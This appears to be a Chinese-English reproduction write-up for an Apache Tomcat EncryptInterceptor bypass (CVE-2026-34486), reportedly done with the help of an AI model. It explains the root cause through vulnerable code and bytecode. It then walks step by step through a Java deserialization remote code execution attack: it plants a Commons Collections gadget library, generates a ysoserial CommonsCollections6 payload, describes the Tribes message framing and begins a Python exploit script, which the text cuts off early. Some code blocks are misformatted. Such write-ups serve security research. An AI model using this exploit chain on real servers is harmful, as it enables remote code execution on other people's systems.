
CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞复现(使用GLM5.1复现完成)
| Attribute | Details |
|---|---|
| CVE ID | CVE-2026-34486 |
| Severity | Important / High (CVSS 3.1: 7.5) |
| Vulnerability Type | CWE-311 Missing Encryption of Sensitive Data / CWE-807 Reliance on Untrusted Inputs |
| Affected Versions | Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20 |
| Fixed Versions | Apache Tomcat 9.0.117 / 10.1.54 / 11.0.21 |
| Root Cause | In EncryptInterceptor.messageReceived(), super.messageReceived(msg) was moved outside the try-catch block |
When fixing CVE-2026-29146 (Padding Oracle), developers refactored the EncryptInterceptor.messageReceived() method, moving super.messageReceived(msg) from inside the try block to outside it:
Before the fix (secure):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }
**Vulnerable Code (Dangerous):**```java
public void messageReceived(ChannelMessage msg) {
try {
byte[] data = msg.getMessage().getBytes();
data = encryptionManager.decrypt(data);
XByteBuffer xbb = msg.getMessage();
xbb.clear();
xbb.append(data, 0, data.length);
} catch (GeneralSecurityException gse) {
log.error(...);
// 异常被捕获,但执行流继续!
}
super.messageReceived(msg); // ← 在 try 外,无论解密是否成功都会执行!
}
Bytecode verification (from EncryptInterceptor.class in Tomcat 9.0.116):```
Exception table:
from to target type
0 39 42 Class java/security/GeneralSecurityException
// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived
---
## 2. Reproduction Environment
| Component | Version/Configuration |
|---|---|
| Operating System | Ubuntu 22.04 (sandbox environment) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (vulnerable version) |
| Gadget Library | Commons Collections 3.1 |
| Attack Tool | ysoserial v0.0.6 + custom Python/Java PoC |
### Environment Topology```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2
### Step 2: Install the Gadget Library```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
Edit tomcat-node1/conf/server.xml and add the following inside <Engine>:```xml
> Note: `encryptionKey` must be in hexadecimal string format (e.g., `546869734973415365637265744B6579` = ASCII hex of "ThisIsASecretKey"), not a plaintext string.
### Step 4: Enable Session Replication
Add the following to `webapps/ROOT/WEB-INF/web.xml`:```xml
<distributable/>
cd tomcat-node1 && bin/catalina.sh start
cd tomcat-node2 && bin/catalina.sh start
**Actual startup log confirmation:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
It is recommended to switch to using AES/GCM/NoPadding.
INFO [main] ReceiverBase.bind
Receiver Server Socket bound to:[/172.24.0.7:4000]
INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]
java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin
python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "
### Step 7: Construct and Send Tribes Protocol Messages
Tribes messages require a specific XByteBuffer framing encapsulation format:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]
其中 ChannelData 载荷结构:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]
**Key**: The message body is placed directly into an unencrypted Java serialization payload—this is the core of the exploit—EncryptInterceptor will attempt to decrypt it, and upon failure, still pass the raw bytes to the subsequent chain.
#### Method 1: Python PoC script (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
用于授权的安全研究环境,严禁用于非法用途。
"""
import socket
import struct
import sys
import os
import time
# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002" # XByteBuffer 帧起始标记 (7 bytes)
END_DATA = b"TLF003" # XByteBuffer 帧结束标记 (7 bytes)
TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00" # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END = b"TRIBES-E\x01\x00" # MemberImpl 结束标记 (10 bytes)